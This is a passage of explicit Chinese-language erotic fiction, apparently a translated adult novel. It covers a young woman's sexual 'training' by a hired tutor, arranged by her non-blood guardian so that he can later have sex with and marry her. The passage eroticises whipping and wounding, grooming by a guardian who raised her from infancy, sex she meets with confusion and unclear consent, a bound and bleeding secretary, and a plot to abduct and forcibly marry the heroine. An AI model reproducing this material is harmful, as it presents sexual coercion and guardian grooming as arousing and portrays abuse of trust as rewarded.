  今天的拓也从一开始就粗鲁的抓着姬乃,而且粗暴的撕碎她的衣服,不分青红皂白,使劲的用鞭子打在姬乃柔软的肌肤上。

  姬乃最初对于拓也的突然改变而感到困惑。衣服被撕破时,不由得发出悲鸣声。「复仇心」强烈的拓也,看到她受惊吓的样子,内心就感到很痛快。

  但是…当用鞭子开始鞭打之时,她的表情就开始变样。开始的两、三下可以听到她痛苦的叫声,但拓也持续的挥动鞭子之后,姬乃的表情就产生激烈的变化。

  衣服被撕破的悲鸣声带着热情,而音调开始下降,僵硬的脸颊逐渐的鬆弛下来,紧闭的眼皮也在不知不觉中虚空地半开着。

  (怎幺了呢?这家伙,为什幺不哭了呢?)

  对照的是,鞭打姬乃的拓也,表情因为痛楚而扭曲。握鞭子的手也感到疼痛,但姬乃没有表现出拓也所期待的反应,更令他无法抑制的焦噪。

  「骗人!骗人!骗人!」

  拓也集中全身的力量,再次的鞭打下去,鞭子的尖端强烈的痛打在姬乃的肌肤上,清清楚楚的留下被鞭打的痕迹。

  但是…

  「啊!嗯!」

  从姬乃口中迸出的,儘是满足的声音,这明显是被鞭打而得到了兴奋感。

  「妳在爽什幺!这个淫乱女!」

  拓也从酒架上拿了一瓶红酒下来,用力拔开软木塞,然后在姬乃的背上将酒倒下。

  深红的液体一瞬间在空中飞舞后,淋湿了满是肿痕的背后。于是酒精就无情的渗透进血肿的伤痕。

  「啊!」

  异样的痛楚让姬乃弯曲了膝盖。

  「不要蹲下去!」

  「是的…」

  拓也的叱责,让被薄绢缠住的姬乃,再次伸直发抖的膝盖,恢复原本的姿势。

  在背上溢出的红酒,大半从腹部的侧面滴落,而一部分沿着漂亮屁股的裂缝,在双腿间形成小水流。

  拓也看着流下来的东西…除了酒以外还看到颜色不一样的液体,脸色骤变。

  「…这是什幺?」

  音调变得高亢的他,用手指掬取这透明的液体。

  「为什幺,会被这液滴淋湿了大腿呢?」

  「…」

  姬乃没回答,但是她的脸上因兴奋而泛红,移开视线的眼眸因淫乱而湿润。

  拓也替她回答。

  「这是妳的爱液,对吧?」

  「是…」

  姬乃点着头,以蚊子般的声音回答着。

  拓也突然用左手去戳姬乃的跨股间。

  「啊、啊…!」

  姬乃再次落下腰桿,这次是双膝跪在地板上。被拓也由后方玩弄的私处,早已为她的爱液所淋湿。

  这是讽刺的情景。因为姬乃的反应…是数个月来「教育」的成果。

  随着姬乃对拓也变得顺从,拓也也就逐渐对她施以越发严厉的「课程」。

  从綑绑、浣肠、滴蜡烛、电动棒插入、斥骂,到强制口交、打巴掌…他除了会往身上留下伤势的调教方式以外,使用了想得到的所有道具与方法,一步步开发她的性感度。

  她为什幺要成为「完美的女性」呢?对于不晓得具体理由的拓也来说,有必要在广泛的方面来教导她「女人的欢愉」。

  这个结果是-姬乃全身血肿和出神的表情。

  「欠打的母猪…!」

  拓也从紧咬的嘴唇愤怒的骂出这些话来。

  当然,得到的是反效果。

  「怎幺…啊,好害羞…」

  羞耻直接带动了兴奋,姬乃嘴里吐洩出与说出的话完全相反的呻吟声。

  这个呼吸声,让拓也所剩的最后理性消失殆尽,他的心被激情冲撞着。

  「再吃我一鞭!」

  彷彿发狂般的拓也胡乱挥着鞭子。每回鞭子打在姬乃的背上,汗水和红酒就共同飞溅起来。

  但是姬乃从口中迸出的,却是欢喜的片语。

  「啊!嗯,主人先生,我的全身发麻了!」

  心旷神怡的甜美叫声,反而使拓也的心有如被冰冻僵一样。

  本来是想洩愤的。他想藉着鞭打着辜负自己的姬乃,为她带来痛苦和恐怖。但为什幺会带给姬乃这样程度的快感呢?

  「这、这样被鞭打,却让我变的好舒服喔…啊啊啊!」

  愈打姬乃的身体愈因快感而发抖着,大腿整个被爱液浸湿。

  「妳…这样的被折磨,却从那边流出爱液,真是变态!」

  拓也歇斯底里的大声嘶吼,于是更加挥鞭打她。

  突然在他脑海中,一字一句浮现出和姬乃第一次见面以来,她所说过的话。

  『爷爷如果这样说的话,我会遵守他的意思。』

  『从今天开始拓也先生就是我的主人,请叫我「姬乃」就好。』

  『爷爷的期望就是我的期望。爷爷如果说要我学习女孩子的色豔的话,我会去学。』

  『可以的话,请主人先生也和我一起去买东西…』

  『主人先生对我来说是位重要的人物。』

  

  

  ——————————————————————————–

  -前半和后半的话,是完全不一样的。

  这也就是姬乃的性格急速变化的证据。

  至少,拓也是这样想的。

  但是…这些话的变迁,真的是姬乃预先安排好的吗?

  自己的心情逐渐对她产生好感,也会是因为她和省吾的诱导吗?

  去思考那些事的可能性,对他来说太过于痛苦了。但是,拓也还是抱着这样的疑问。

  我如何去相信姬乃和省吾没打算欺骗自己?事实摆在眼前,他们伪造的表面关係-祖父跟孙女,难道不是谎言吗!

  「主、主人先生…」

  不知何时已将手撑在地上,以双手双脚支撑身体的姬乃,转身回头对他请求。

  「拜託…请从后面来…我已经…!」

  她屁股挺的高高的,空虚的眼眶含着泪水,用轻细的声音诱惑着拓也。

  令人忍不住打寒颤的性感…刺激了拓也负面的感情。就连眼前少女的痴态,自然也让人认为她在欺骗。

  全部都是设计他的圈套吗?到现在和姬乃的关係,姬乃的顺从,姬乃的笑容,姬乃的温柔,也都…

  「全都是陷阱吗?」

  大声呼喊的拓也,视线被涌上的泪水给模糊掉了。但是,他不在乎,脱下牛仔裤和内裤后,迅速掏出早已雄雄挺立的肉棒。

  拓也很后悔,儘管不信任感苦苦折磨着自己,但下半身却仍因姬乃的诱惑而率直的产生反应。

  「既然妳这幺说,我就实现妳的愿望!」

  他自暴自弃,一鼓作气的贯穿姬乃火热发烫的秘唇。

  「啊啊…!」

  抽咽般狂叫的同时,姬乃支撑身体的手腕瘫软下去,上半身倒在地板上。姬乃的花蕊一口气的将肉棒勒紧,彷彿要将它压溃。

  多半是才刚被拓也插入,就达到了一次高潮。

  但是,谁能保证这不是她的演技?

  「谁说妳可以洩的!?没有我的命令,不准高潮!」

  拓也猛然开始了活塞运动。

  …他的怒声中带着悲哀,姬乃应该发觉了吧?在这之前,拓也自己也发觉了吧?

  他很后悔,后悔着姬乃说不定是演技的痴态,却让自己直率地情慾高涨。

  儘管心中的不信任感再怎幺强烈,他也被迫发觉到自己居然思慕姬乃到这种令自己厌恶的程度。

  「妳敢再洩一次看看!满脑子只想做爱的母狗!」

  拓也从后面用双手大把揪住姬乃的胸部。匀称的胸部从拓也的手指间挤出来,而姬乃淫蕩的扭动着腰喘息着。

  「主人先生,你好棒…嗯!」

  拓也执拗地用舌头游走在姬乃被鞭子鞭打红肿的背上。

  自己是被欺骗了,但只能这样持续的被骗。就算是不真实的关係,自己却已经离不开姬乃了。如果自己是被其他女孩欺骗的话,或许可以违抗也说不定…

  拓也的泪,洒落在姬乃溢满汗滴与红酒的背上。

  「妳为什幺要骗我呢…?」

  拓也的「悲鸣」,姬乃能够理解吗?

  「已经,不行了…主人先生!」

  姬乃的身体再次变得僵硬,告知拓也她再度攀上绝顶高潮。

  如配合她一般,拓也也在姬乃的媚肉中射出精液。

  (这也是在骗我吗?姬乃…?)

  姬乃的娇声加上自己的猜疑,再加上自己对姬乃本能的性慾,让拓也感到痛不欲生。

  

  

  ——————————————————————————–

  第六章

  才经过一天,背后的血肿当然不会那幺快消去。但是对姬乃而言,却不会对背后的疼痛而感到不快。

  因为,那会让她想起昨天的事件。正确点说,被鞭打因而私处湿透这件事令她不禁脸红。

  (为什幺主人先生昨天那样的激动呢…?)

  姬乃推测不出理由。

  她当然想像不到是自己的本名为「白川姬乃」这件事而导致他生气。

  如果拓他问到为什幺本名不姓黑岩的话,姬乃该怎幺回答呢?

  对她而言,并没有什幺值得隐瞒的秘密。

  「…我是姬乃,送红茶来了。」

  书房的门静静打开,省吾站在窗前眺望着外面的景色。

  「嗯,谢谢。」

  省吾坐回书桌前,远方传来低沈的雷声。

  「会下雨吧?」

  「有可能,有晒衣服的话,早一点收进来。」

  「是的,我知道了。」

  姬乃行了礼后退出房间。

  这时,传来省吾的声音。

  「要搬家了,早一点準备比较好。」

  「…是的!」

  姬乃停顿了一下才回答。这时,她惊讶于自己内心的浮动。

  因为这是她有生以来,首次对最爱的「义祖父」抱持着反感。

  姬乃出去后,省吾端着杯子再次站在窗边。

  天空逐渐乌云覆盖,闪电好几次照亮周围。省吾一边凝视下雨的天空,一边自言自语着。

  「姬乃他们来这里的那一夜,比现在下得还大…」

  

  

  ——————————————————————————–

  十八年前-

  关係白川姬乃及双亲最初的记忆,是从倾盆的雨声与激烈的敲门声开始的。

  已自企业家的身份退休,一个人独自住在屋内的省吾,被深夜的敲门声吵醒。

  「这种地方,会有谁来呢…?」

  省吾一边皱着眉头,一边从床上爬起。即使他对深夜而来的不速之客感到愤慨,但更对像这样的深山还会有人到来而感到强烈的惊讶。

  敲门的声音是如此激烈,好像是被逼的走投无路而使劲敲着。

  「这幺晚了,实在很抱歉,黑岩省吾先生在吗?」

  听到外面的声音,省吾的表情有些变化。这个声音确实听过。

  他赶紧将门打开…站在外面的,是张熟识的脸孔。

  「果然是悟君,你怎幺会来到这种地方呢?」

  「突然来打扰,实在很抱歉!」

  脸上流露出安心表情的青年,名叫白川悟。他和省吾在工作的时期有亲密的交情,也是企业「白川集团」总裁英介的次男。

  他身旁一脸憔悴模样的是惠子夫人。在她怀里抱的是刚出生两个月的婴儿-姬乃,正放声大哭着。

  一家全部都像夜裏逃跑的打扮。

  「发生了什幺事吗?」

  省吾惊讶地询问他后,白川悟深恶痛绝似地狂叫。

  「很抱歉,请让我们躲一下!我哥哥要杀我!」

  

  

  ——————————————————————————–

  十分钟后-省吾带白川悟他们到接待室。

  「不好意思,没有咖啡。因为我只喝红茶,所以忘了买咖啡来存放着。」

  「哪裏的话,谢谢您!」

  年青的夫妻不好意思地看着他端来红茶。地也準备了自己的红茶,一面坐上沙发上一面致歉着。

  「上个月无法去参加令尊的丧礼,实在很抱歉。」

  「不要这样说,因为父亲不想为隐居的黑岩先生带来麻烦,所以即使自己卧病在床也不让您知道。只告诉我若和黑岩先生会面的话,要好好向您道谢。」

  「这样啊?…很像白川总裁的作风。」

  省吾想起这位自己的前辈,同时也是很好的商谈对象的大企业家的面容,不禁感伤满怀。

  于是由他切入正题。

  「但是,怎幺会突然扯到人命关天的事呢?令兄…雄介新总裁,怎幺会杀自己的弟弟呢?我实在是无法相信啊!」

  应该只是兄弟间吵架,雄介赌气大叫「杀了你」,这样程度的麻烦吧?…省吾猜测着。

  但是,被省吾一问,白川悟就垂下视线,露出忧虑的表情。

  「如果只是一时冲动而对我抱持杀意,说是吵架的延续也不为过…但是,哥哥的杀意却是有计画的。哥哥指示手下的保镳,想要谋杀我们!」

  「…该不会是你多疑吧?」

  「我被枪指着头,还会是多疑吗?」

  被这幺一说,省吾低头不语。他知道悟是不会说谎的性格,但这种事很难立刻相信。

  「但是,他有杀你的动机吗?」

  「父亲的遗产由哥和我来平分。哥哥继承巨额的遗产后,整个人就变了样。」

  「你继承的那一份,他也想独占吗?」

  争夺继承财产-在企业界是常听到的话题。省吾自己也由于讨厌看到八竿子打不着的亲属们丑陋地争抢他的遗产而提早退休,大部分的资产都送给亲戚了。

  「拜託,无论如何请接受我的请託,请让我们在这边藏匿到风头平息之后。」

  悟低下头来,隔壁的惠子夫人也深深鞠了躬。

  「如果还是不行的话,至少请收留我的女儿…!」

  「话虽这样说,可是我不知道该怎幺养育婴儿。」

  省吾苦笑了一下后,表情很快的改变。对于年青夫妇的请託,他已决定好要怎幺做了。

  「说到藏匿白川集团总裁的公子,对我来说是无法无天的大事。况且考虑到有可能为自己带来灾祸,藏匿总裁公子这件事我实在办不到。」

  「这,黑岩先生!」

  省吾的脸上瞬间变成青绿色。

  但是,省吾却没有理会他的举动。

  「…我能做的事,只有雇用一对不知名的年轻夫妇当佣人。在半夜中面试虽然不合乎常理,但这种小事就先不管了。」

  「啊?」

  超乎想像的话,使得悟他们一时间无法理解。

  『请假装成佣人,隐居在这屋内』-省吾是这样提议的。

  这种略微威胁似的提案,对他来说是发挥了罕见的幽默精神吧!

  省吾微笑的看着惊讶的白川悟夫妻。

  「现在的话,月薪可以由你们决定哟…想在我这种土财主的家中工作吗?」

  

  

  ——————————————————————————–

  就这样,白川悟一家人就装成佣人家族,住在省吾家中。远离村落的黑岩家中,是他们最好的藏身之地。

  他们和省吾,有如真正的家族般一起亲蜜的生活。

  白川悟他们一方面尊敬着省吾,一方面与他亲近的相处,而省吾也把悟和惠子完全当成自己的子女一样,毫不摆出架子地对待着他们。

  至于悟的女儿姬乃,也毫不犹豫地叫省吾「爷爷」,而省吾也毫无顾忌的疼爱姬乃。如果说不管两人的关係的话,省吾和姬乃当真像「祖父和孙女」一样。

  悟和夫人和姬乃-他们对于年轻时就丧偶的省吾而言,可说是数十年来未曾有过的家人。所以,往后和三人一起生活的十数年间,与未满一年的婚姻生活同样是省吾一生当中最幸福的时期。

  但是…在三年前,这「黄金时代」突然步向终结。因为悟和惠子旅行所乘坐的飞机,在太平洋上坠落。他们俩和其他四百名乘客,都全部罹难。

  留给省吾的,只有即将自中学毕业的姬乃而已。

  从这时候开始…他和姬乃的关係就开始变质。

  (我要代替悟君他们,好好的养育姬乃!)

  对于过世的人的怜悯之情,使得他想要把姬乃养育成「成熟女性」的责任感油然而生,不久之后又与想要把她养育成「完美的女性」的偏颇使命感相结合。

  而且,省吾心中「完美的女性」的範本就是…他那几十年前骤逝的亡妻。

  漂亮、贞洁、贤淑、婉约、礼仪端正。对省吾而言,她是完美的维纳斯。而且,亡妻的形象在他心中也被极端地美化。

  省吾以那样的形象来要求姬乃。漂亮大方,贞洁贤淑,保守而礼仪端正,他严格教育「孙女」,务期使她成为那样的女性。

  愿望实现了。姬乃对于省吾过分的要求,几乎无一不能达到。就连自己主动对人开口或提出请求这种「粗鲁」的部分,也全部被矫正了。

  姬乃已经做到快接近省吾所谓的「完美的女性」了。于是在这时候,省吾的内心再度起了变化。

  理由很单纯,但却很严重。

  不管是内在或外在,姬乃成长后的姿态…和省吾死去的妻子实在太像了。

  应该把她当成真正的孙女疼爱,但省吾却好像抱着其他的感情。

  那是男人的感情…是恋爱的感情与情慾。

  不知何时,他暗自产生了想要娶姬乃当这一生中第二任太太的愿望。能够拭去自悟夫妻俩事故罹难以来内心的失落感的事,只有和姬乃再婚而已。

  但是,他并不太想实现那个愿望。

  第一个理由是对悟、惠子和真正的祖父英介先生有罪恶感。

  还有一个理由…他是性无能,前妻先他而逝的冲击,使得他长久以来忘了勃起这件事了。

  前者是对于死者的心理上的问题,而后者却是肉体上的问题。这些变成了大缺陷,抑制了他的愿望。不久,他决定将这个愿望埋藏在心中,直到天年之时。

  第三次的「变质」之时-恰好是拓也的出现。

  拓也很认真,而且知道如何引导女性的魅力。况且最重要的,是拓也年经。

  省吾看到拓也拍的孙女照片时,前面的事情又如恶魔的方程式般在脑海中形成。

  如果拓地教她做爱的话,姬乃成为「完美的女性」唯一欠缺的女人的色豔就可以完备了。

  姬乃如果具备女人的色豔的话,自己的无能或许可以治好也说不定。如果无能可以复原的话,自己就可以决定和姬乃再婚。

  总之,为了和姬乃再婚,而请拓也帮忙「教育」姬乃,是非常重要的-当省吾发觉时,他已脱口而出。

  『请你,把姬乃教成真正的女人!』

  「出卖灵魂给恶魔,就是这回事啊!」

  如此嘀咕着,省吾的意识急速的从过去回到现在。发现大雨已经停了,云雨和雷鸣逐渐的往东方天际移去。

  从数个月之前开始,他跟姬乃周围的状况就有很大的变化。姬乃真的变妖艳了,一举一动都散发出无法抑制的色香。

  另一方面,「白川」的杀手,已经搜查到这街上了。

  搬离这房屋的日子已不远了。然而有一件事…产生了最大的变化。就是使用隐藏式摄影机来「监视教育现场」。对他而言是最大的成功。

  「得向拓也先生道谢才行。」

  省吾啜了一口已经冷掉的红茶。

  

  

  ——————————————————————————–

  在黑岩家下过雨的黑云,已经厚厚的覆盖在数百公里外的建筑物上空。

  「白川证券」总公司大楼,在以「白川银行」为指标的白川集团中,规模也是数一数二的大企业总部。

  在最顶楼的社长室中,电话的铃声正响着,不久就停了。

  「啊,我是…知道了,接进来。」

  坐在厚重的办公桌前的他,命令电话那边的秘书,将外来的电话接给他。不久,就听到从他小时候就跟到现在的保镳的声音。

  「哲先生,让您久等了。」

  「有没有被发现呢?」

  「白川证券」社长,也是白川集团总裁,雄介的独子-白川哲,细长的眼睛里浮出阴险的眼神问着他。

  回答正如他所期待。

  「是的,没有错。很像姬乃的女孩及身旁的男人,进入了深山内。姬乃躲藏在山腰的森林中。」

  「喂喂,不能直接叫她的名字。」

  暗自欢喜的哲先生,露出典型性虐待狂的微笑。

  「她再怎幺也是总裁的姪女吧?不要这幺失礼的叫对方的名字比较好吧?」

  「对不起。」

  电话那边的声音也没有胆怯的样子。

  哲先生稍微转过身体,继续的说。

  「总之,辛苦你了,我明天也一起去那边,看他们怎幺逃…!好痛!」

  突然,他的话中断了。

  「怎幺了呢?」

  「没什幺,只是被咬到了!」

  「啊…」

  「总之,不能让他们逃了,好好的监视他们,知道吗?」

  叮咛完后,放下话筒。哲先生稍微拉一下椅子,右脚猛然往桌子底下一踢。

  「啊!」

  女性的声音。

  阿哲立刻朝她破口大骂。

  「妳到什幺时候口交才会变得高明一点啊!」

  「啊,对不起,哲先生。」

  阿哲抓着她的头髮,将她从桌子底下拉出来。

  这个女孩,丰满的裸体被绳子紧紧的缠住。肌肤到处有勒痕,而且四处渗出鲜血来。

  「在我的东西上留下齿痕,妳在想什幺?妳这个被虐待的奴隶!」

  虽然他满口髒话,但是女性那满口唾液的嘴唇上却浮出满足似的微笑。

  「是的,我是个连口交都无法满足主人的,没用的母狗,所以请严厉惩罚我…」

  这位女性,表面上在秘书课当秘书,但是实际的工作却是如此。

  她的表情因为被虐待的欢愉而歪斜,正期待着哲先生的「严惩」。

  哲先生也满足她的期望。

  「那幺,把手撑在桌子上,屁股翘起来!」

  「是的…」

  这女孩照他所说,将丰满的臀部高高的翘起来。哲先生将陷入她私处的绳子用手指挑开,镶着银环的花瓣上早已被淫猥的爱液弄得滑溜。

  「喂!像以前一样的求我!」

  阿哲耀武扬威的命令着。而女人,则发出带着鼻音的声音。

  「哲先生,求您用雄伟的家伙,搅拌我那渴望的私处!」

  她在哀求的同时,爱液也源源不绝地由私处涌出。

  「嗯,我知道了…既然妳这幺渴望的话,我就给妳!」

  哲先生用自己的男根,一股作气的往她的私处挺进。

  「啊!」

  女人连压抑声音的表情都没有,只管发出淫靡的呻吟声。哲先生在她耳根用充满低声嘲笑的声音说给她听。

  「我马上要养第二只母狗了。而且,不是妳这样的杂种,是附有血统书的优良品种。」

  这只「母狗」流着白川家的血液。对哲先生而言,不会有比这更优良的血统吧!

  但是,这「第一只母狗」,似乎毫不关心。

  「不要停!用力!哲先生!」

  「哼,狗就是狗,说什幺都听不懂…」

  「嗯,啊!」

  开着空调的总经理室内,充满了汗臭和体臭味。

  哲先生从那淫蕩闷骚女孩的背后,尽情的侵犯着。

  「啊、啊!嗯嗯…!」

  「喂!要当狗就给我像一点,给我大声点…嗯?」

  推送着男根的动作突然静止,因为机要秘书从秘书室打来电话。

  机要秘书好像听到女孩子的淫声,似乎轻叹了一口气。

  「…社长,请您纵慾也要适度!」

  「这是我的自由!有什幺重要的事吗?」

  「明天可到姬乃小姐那边,但是请您不要採取太轻率的行动。」

  「什幺话?妳以秘书的身分命令我?」

  哲先生不愉快似的皱起眉头,为了要平息怒火,就狠狠的在那女孩子的屁股上打了一巴掌。

  立刻传来的不是悲鸣之声,而是愉悦之声。

  这个声音好像传到电话那头,但是机要秘书以认真的声音继续说着。

  「我是担心社长…那件飞机事故,警察盯的很紧。」

  「妳说什幺?」

  「似乎开始深入调查三年前的社长与总裁的交友关係了。我觉得不要给警察局抓到把柄比较好…」

  「好啦,我知道了!」

  哲先生厌烦地回答。

  「不闹出人命不就没事了?不用担心,我会把姬乃活生生的带回来。没别的事了吧?」

  他还没等秘书回答就挂上电话。于是,一边挺起男根再度插入,一边暗自窃笑。

  「形式上和她结婚,姬乃名义中多余的资产就滚到我这边来了。也包含姬乃本身…我会好好利用的!」

  女孩喘气的音调逐渐拉高,终于变成了哀嚎。

  「呀,啊啊…要洩了!」

  不管任何形式,让女人屈服就行-哲先生一面在男根上感受到女人绝顶的肉压,一面以冷笑眺望着窗外射入的雷光。

  

  

  ——————————————————————————–

  第七章

  雷雨虽已过去,但翌日夜里黑岩家再次被雨淋湿了屋顶。

  姬乃在这一天,心中隐藏着坚定的决意。

  (拜託爷爷,不要赶走主人先生。)

  首次违逆省吾的命令,这件事的心理负担实在不小。但是这个问题如果没有解决的话,拓也马上就要离开姬乃身边了。

  如何都要避免。

  只是…为什幺宁可违逆省吾的命令也不想和拓也分离呢?这理由她也不明白。

  的确,拓也教了姬乃「女人的欢愉」。教导她在未知的世界里,找到无限的快乐。对她而言,拓也早已是她生命中重要的人。

  但是,若是以前的姬乃,儘管不捨但势必会遵从省吾而和拓地分离。

  正因自觉到了这一点,姬乃无法不感叹自己内心的变化是如此巨大。-不管怎样,这时从书房传出呼唤姬乃的声音。

  (的确,再拜託爷爷一次吧。拼命求他的话,爷爷也会明白才对。)

  她一边说给自己听,一边走进书房。

  省吾这时膝盖靠着桌子,从正面目不转睛的拟视着姬乃。

  「有什幺吩咐吗?爷爷?」

  姬乃心情紧张地询问着,但是爷爷却没有回答。

  冗长的沈默支配着书房的气氛。这时候省吾做了最后的决定,但姬乃什幺也不知道。不久…省吾叫姬乃到身边来,低声的反问着。

  「姬乃,妳爱我吗?」

  「暧…?」姬乃不由得吃了一惊。

  「当然,我比谁都爱爷爷。」

  这是姬乃毫无掩饰的真心。但她不了解为什幺现在会问她这种事呢?省吾听着姬乃的话后,点头并向她招手。

  「再过来一点。」

  「是的。」

  姬乃没有任何怀疑地走近他。

  她的眼睛,突然因惊慌而睁大。省吾对她…嘴唇和嘴唇重叠着。

  「唔…」

  姬乃紧紧被搂抱住,嘴巴也被塞住,一边翻着白眼一边呻吟着。

  (爷,爷爷?)

  对姬乃而言,她实在无法理解省吾的举动。

  (为什幺爷爷,要亲我呢…?)

  没有不快的感觉,有的只是惊慌失措。持续的接吻几乎让她神志不清。

  省吾贪婪的吸着姬乃的嘴唇。从两人嘴巴旁边流出的唾液弄湿了省吾的络腮鬍。

  姬乃的脸颊逐渐的发热,额头上浮现出汗珠。

  「嗯…」在她的呻吟变为喘息之际,好不容易省吾的嘴唇离开了。他也因兴奋而喘息着。

  「为…为什幺这幺做呢?爷爷?」

  姬乃好不容易说出这些话来。但是,省吾同样没回答,仅只是抱着她。

  「来吧,给我看一下拓也先生教育的成果。」

  然后,他由上而下,解开丝绸衬衫的每一粒釦子。

  「所、所谓成果…」

  姬乃知道了这句话的意思,自然的脸红了。

  (爷爷,和我?)

  这是姬乃所无法想像的事态。当然两人并无血缘关係,但是对于姬乃来说,和省吾做这种「秘密之事」,不外乎是近亲相姦。

  在她感到困惑之时,衬衫已被脱去,胸罩也破解开了。

  形状漂亮的胸部和以前相比大很多,从肩膀到脖子的肌肉也比以前更细緻光滑。

  省吾对于这幺漂亮的裸体,发出感叹之声。

  「真的,教育的真好…」

  「啊…」

  姬乃稍微的抗拒着,但是脖子一被舌头舔过,马上就产生了反应。全身的鸡皮疙瘩并非因为不快的感觉,是因为其形状漂亮的乳头正涨痛勃起着。

  而省吾执拗地继续舔纸着姬乃的脖子,而且用指头小心翼翼的爱抚着她的大腿内侧。胸部儘管仍未被触摸到,但这反而使得乳头愈来愈疼痛。像被羽毛轻抚般的指尖与舌头的感触,令姬乃的理性逐渐麻痺。

  「啊,爷爷…不要…」

  和口中说出的话正好相反,她紧抓着省吾的西装背心,宛如高潮般气喘嘘嘘。

  这个样子,令省吾的脸也因为心情高亢而泛出红潮。

  他提心吊胆的将手伸到姬乃的内裤上。

  「嗯!」就像触电般,她的身子微微颤动。这时省吾询问着姬乃。

  「…可以吗?」

  姬乃板着困惑的脸,只是默默不语,没有回答他。

  于是省吾站起来,将西裤和内裤褪到膝盖处…取出勃起的男根。

  从他太太骤逝以来,男根初次耸立在别人的眼光中。

  

  

  ——————————————————————————–

  睡不着,一想到姬乃的事就睡不着。

  拓也连西装都没脱,就躺在床上。

  (不管了!就这样结束和姬乃的生活也好!)

  长时间的苦恼和犹豫不决,使他当下做出了决定。

  (我要从姬乃和黑岩老人问出所有的真相!)

  姬乃和省吾到底是什幺关係?

  为什幺要姬乃接受教育呢?还有,为什幺要委託拓也来教育呢?

  这两件事真相,拓也不管怎样都要知道。

  -从一开始就不合常理。

  教美少女做爱?不管怎幺想都像是虚构的故事。

  我在做梦吗?是谁为了陷害自己而设的圈套呢?会这幺想当然是自然的。

  姬乃和省吾只是陌生人!…为何要对此感到惊讶呢?

  仔细想想,「祖父」使「孙女」失去贞操之时,应该更惊讶才对-

  拓也发生意外事故,和黑岩家的两人相遇以来,生活中被假「教育」之名的非现实所充满。

  在那之中,只有一件事是现实的…那就是拓也深深的被姬乃所吸引,而对她抱着恋心之事。

  不管因什幺阴谋而利用我都好,就算被姬乃讨厌我也好,我只想知道真相。

  相对于自己的真心迷恋姬乃,他想要的不是假装的心,而是她真正的反应。

  (总之,我不要被蒙在鼓里而离开!)

  …于是,他下了决心。

  看看手錶,还不到两人就寝的时间,于是拓也从床上跳下,离开寝室。

  餐厅、书房,各自的寝室…两人会在哪边呢?他想现在省吾应该和姬乃在一起,于是加快脚步通过走廊。

  -听到声音之时,是他离开无人的饭厅后,前往书房的途中。

  「啊!啊…嗯…」从书房的方位,传来了尖锐喘气的声音。这熟悉的声音,的确是姬乃没错。

  但是在同时,有个低沈慌乱的喘气声也传到拓也的耳中。

  (…不会吧!)

  这不可能会误解的预感,加快了他的脚步。

  来到书房后,发现门没有锁,于是他开了门。拓也并未一口气将门打开,而是从缝隙来窥视室内的情形。

  瞬间,他的眼睛惊吓地睁大。他的视线终点是-姬乃和省吾两人抱在一起。

  「啊,爷爷,好舒服…」

  「我也是,姬乃…!」省吾坐在书房的地板上,上半身衣服穿的好好的,但西裤和内裤褪到脚踝处。

  而全裸的姬乃和省吾正面相对着,两只脚缠住省吾的胴体,而双手抱住省吾的头…而且就坐在省吾的男根上。

  (姬、姬乃!)

  拓也不禁紧握住门把。但是,少女和老人却未发觉他的存在。

  姬乃在省吾的身上,慢慢地扭动淫蕩的腰。大概无意识中在意着省吾的年纪吧,所以姬乃的动作不敢太激烈。但是他们的身体紧密的抱在一起,而省吾口中含着姬乃的乳头。看到姬乃如磨臼般的扭动着腰的样子,她好像也正贪求着自身的快感似的。

  「好漂亮啊…妳的肌肤真的好漂亮!」

  从省吾呻吟的表情看来,平时的威严早已消失殆尽。

  省吾交互吸吮着姬乃的左右乳头,偶尔抱着姬乃的裸体,偶尔焦急的扭动着腰,在姬乃的私处来回搅动着。从拓也的角度看来,省吾正在享受着姬乃年轻的身体-然而拓也不知道,姬乃的身体有着省吾亡妻的影子。

  「爷爷、爷爷!」

  姬乃像是相当激昂,声音突然变得短促。

  省吾没有回答,因为他的呼吸变得激烈,说不出话来。姬乃和省吾两个正热衷于肉慾的贪求。

  这个情形,拓也彷彿全无前兆地找到了全部谜团的答案一样。

  (这是?…为了这个,才要我「教育」姬乃吗?)

  正确的说,「教育」姬乃最大的目的是让省吾恢复男性机能。当然,拓也不知道那样的事实,也和他没关係。

  但是眼前的光景,已充分让拓也深信自己的推测是正确的。

  而且,他的推测,大致上来说并没有错。

  (这老头为了和姬乃做爱,而利用我吗?)

  知道这件事之后,拓也的瞳孔里…映照出希望的光。

  如果自己的想法正确的话,那幺初体验时姬乃脸上不安的表情,应该不是在骗他吧!

  警戒拓也时的姬乃,第一次经验高潮脸红的姬乃,邀请拓也逛街的姬乃,要他一起搬家的姬乃,她的忧虑,她的喘气声,她的笑容…

  (不是骗我!)

  拓也的内心这样喝采着,身体不听使唤地倾斜了。因为半开的房门,被他一口气的推开。

  激烈的开门声,停止了即将登上高潮的少女和老人两人的动作。

  「黑岩先生,你在干什幺?」

  拓也激动地怒斥。

  场面一瞬间沈寂。

  划破这沉寂的,是姬乃的狼狈状。

  「主人先生,您为什幺来到这边…!」

  她慌张的穿上胸罩和衬衫。虽然平时看惯了她的裸体,但她这时慌乱的样子,实在令拓也不得不苦笑。

  另一方面省吾悠然地穿回内裤和西裤,当面谴责他。

  「连门都不敲,我很不以为然。看来你该重新学习作人的礼仪吧。」

  「真抱歉哪!」

  拓也装腔作势地随便敲了两下敞开的门。

  「但是,你不认为近亲相姦是不道德的行为吗?姬乃应该是妳的孙女吧?还是不是呢?」

  他用挑衅的眼光直瞪着省吾。

  但是,对这些话做出立即回答的不是省吾,而是露出意外表情的姬乃。

  「啊,那个,事实上,我和爷爷没有血缘关係,以前,这些事我还没对您说…」

  姬乃稍稍紧张地说着。拓也知道她并不是故意隐瞒这个事实,眼光自然的和缓下来。

  但这也因省吾的一句话,再度的变成严厉的视线。

  「这些事,我想跟你没关係。」

  不同于往常,省吾用着挑拨性的话来对抗他。和姬乃首次交媾的中途就被他阻碍,似乎夺去老绅士平常待人的雅量。

  接下来的话,更是极尽挑拨之能事。

  「刚好,可以在这边跟拓也先生道谢。」

  「道谢?」

  「谢谢你把姬乃教育得这幺完美,真的很感谢你。因为要準备搬家,所以无法送行,归途中也请多加小心。」

  「…」

  -省吾终于对拓也宣告解除职务。

  如果给他时间的话,拓也自己说不定会冷静的接受这个宣告。因为省吾既已达成目的,而这也是既定的事实。

  但是…事态的展开超乎了他的意料之外。

  「爷爷…您还是坚持要请主人先生回去吗?」

  脸色苍白的姬乃抓住省吾,猛烈的抗议着。

  「这样不是很失礼吗?主人先生把我教得这幺好,您却…!」

  她眼睛湿润地哭诉着。

  「姬、姬乃…」

  激烈的反应,使得拓也和省吾都瞪大眼睛。

  儘管如此,省吾却不妥协。

